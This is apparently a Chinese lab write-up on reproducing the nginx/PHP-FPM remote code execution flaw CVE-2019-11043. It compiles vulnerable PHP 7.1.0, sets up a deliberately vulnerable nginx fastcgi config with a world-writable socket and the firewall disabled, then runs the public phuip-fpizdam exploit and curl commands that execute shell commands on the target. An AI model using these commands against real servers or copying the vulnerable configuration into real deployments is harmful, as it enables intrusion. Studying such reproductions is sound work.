最近做的项目需要复现nginx的exp,其中就包括cve-2019-11043这个exp,他是一个远程代码执行的exp;
这个cve的来源:GitHub - neex/phuip-fpizdam: Exploit for CVE-2019-11043
我看了之后在Kali上把源码编译了,大家注意编译需要1.13以上版本的go,编译出来的可执行文件在linux平台上就都可以执行了;
让我感到头疼的是靶机要求的脆弱性配置:PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11
有一篇详细介绍如何复现此exp的文章(https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/),里面作者考虑到文章发布时可能已经下载不到所需版本,所以提供了低版本的php-fpm的deb包(http://security.ubuntu.com/ubuntu/pool/universe/p/php7.2/),但是,我在安装过程中一直无法解决依赖问题,那么只好自己编译低版本的php源码,好了,我们先来介绍php-7.1.0的编译安装(源码会放在百度云盘里,链接和提取码在后面提供)
将源码解压,进入文件夹,在编译之前我们先安装一些编译依赖库:
sudo -i
apt-get install gcc
apt-get install g++
apt-get install libxml2-dev
apt-get install libssl-dev
apt-get install libbz2-dev
apt-get install libjpeg-dev
apt install libpng-dev
apt install libmcrypt-dev
apt-get install curl
cd /usr/local/include
ln -s /usr/include/x86_64-linux-gnu/curl curl
apt-get install libcurl4-gnutls-dev
特别注意后三行,它完美地解决了编译时出现的configure: error: Please reinstall the libcurl distribution这个错误;
好了,下面可以放心编译了;
./configure --prefix=/usr/local/php --enable-fpm --with-mcrypt --enable-mbstring --disable-pdo --with-curl --disable-debug --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --with-mhash --enable-zip --with-pcre-regex --with-mysqli --with-gd --with-jpeg-dir --with-openssl
make && make install
make test
make clean
建立软链接
ln -s /usr/local/php-$PHP_VERSION/bin/php /usr/bin/php
ln -s /usr/local/php-$PHP_VERSION/bin/phpize /usr/bin/phpize
ln -s /usr/local/php-$PHP_VERSION/bin/pecl /usr/bin/pecl
ln -s /usr/local/php-$PHP_VERSION/bin/php-config /usr/bin/php-config
ln -s /usr/local/php-$PHP_VERSION/sbin/php-fpm /usr/bin/php-fpm
添加用户与组
useradd nobody
groupadd nobody
设定配置文件
cd /usr/local/php/etc
cp php-fpm.conf.default php-fpm.conf
cd /usr/local/php/etc/php-fpm.d
cp www.conf.default www.conf
好了,让我们来测试一下安装成功了没有
cd /usr/local/php/sbin
./php-fpm -v
若打印出php-fpm的版本信息,就说明编译安装成功了;
接下来,我们要安装nginx,由于对nginx的版本无特别要求,所以直接命令行安装就行
apt-get install nginx
接下来,我们要进行php-fpm+nginx连接配置;
Part1:配置php-fpm
#添加用户与组
sudo -i
useradd nginx
usermod -G nginx nginx
#php与nginx的unix socket通信方式
cd /usr/local/php/var/run
touch php7.1-fpm.sock
chown nginx:nginx php7.1-fpm.sock
chmod 777 php7.1-fpm.sock
cd /usr/local/php/etc/php-fpm.d
gedit www.conf
#修改www.conf
gruop=nginx
user=nginx
listen=/usr/local/php/var/run/php7.1-fpm.sock
去掉listen.owner,listen.group,listen.mode前面的分号注释,修改:
listen.owner = nginx
listen.group = nginx
(listen.mode不用改)
#关闭www.conf
#看看改了配置后php-fpm是否还能运行
cd /usr/local/php/sbin
./php-fpm -v
#应该没有问题
Part2:配置nginx
gedit /etc/nginx/sites-enabled/default #修改default,将下列替换原来配置文件
--------------------------------------------------------------------------------------------------------------------------------
# See article at https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/
# Location: /etc/nginx/sites-enabled/default
server {
listen 80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.php;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ [^/].php(/|$) {
include fastcgi.conf;
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;
# Check that the PHP script exists before passing it
#try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
fastcgi_pass unix:/usr/local/php/var/run/php7.1-fpm.sock;
}
}
--------------------------------------------------------------------------------------------------------------------------------
Part3:测试
上述配置完成后,重启
#依次启动php-fpm与nginx
sudo -i
cd /usr/local/php/sbin
./php-fpm
service nginx start
#给php7.1-fpm.sock赋权
#这里需要注意两点:1.必须在php-fpm与nginx启动之后再进行赋权,否则赋权无效;
#2.重启或关机之后再开机赋权会失效,需要重新赋权
cd /usr/local/php/var/run
chmod 777 php7.1-fpm.sock
echo "<?php echo '<p>hello World</p>';?>"|sudo tee /var/www/html/index.php
然后在浏览器输入http://localhost/,回车,若出现hello World则表示两者连接配置成功!
好了,台上三分钟,台下十年功,终于到了使用这个exp的时候了;
将靶机网络改为桥接网卡模式,用ifconfig打印出靶机的ip,用ufw disable关闭防火墙;
在另外一台linux系统上(例如我自己的是Ubuntu18.04)运行phuip-fpizdam这个可执行文件
先运行如下命令(exp检验配置是否脆弱)
./phuip-fpizdam http://<ip>/index.php
对于脆弱配置,会得到如下类似输出
确定配置脆弱后,可利用此exp对该网址进行远程代码执行;格式如下:
curl "http://<ip>/index.php?a=/bin/sh+-c+'which+which'&"
例如:
返回了id信息,与作者的例子一致,可以说,这个exp我复现成功了:)
注:此exp并非次次攻击有效,可多试几次!
php7.1.0的源码,链接: https://pan.baidu.com/s/1ntXNkElSFWTY9nj7BIAHEg 密码: q7qm
如果还有什么问题,可以查看nginx日志(路径:/var/log/nginx/error.log),也可以邮件联系我(KangMing_Chu@126.com)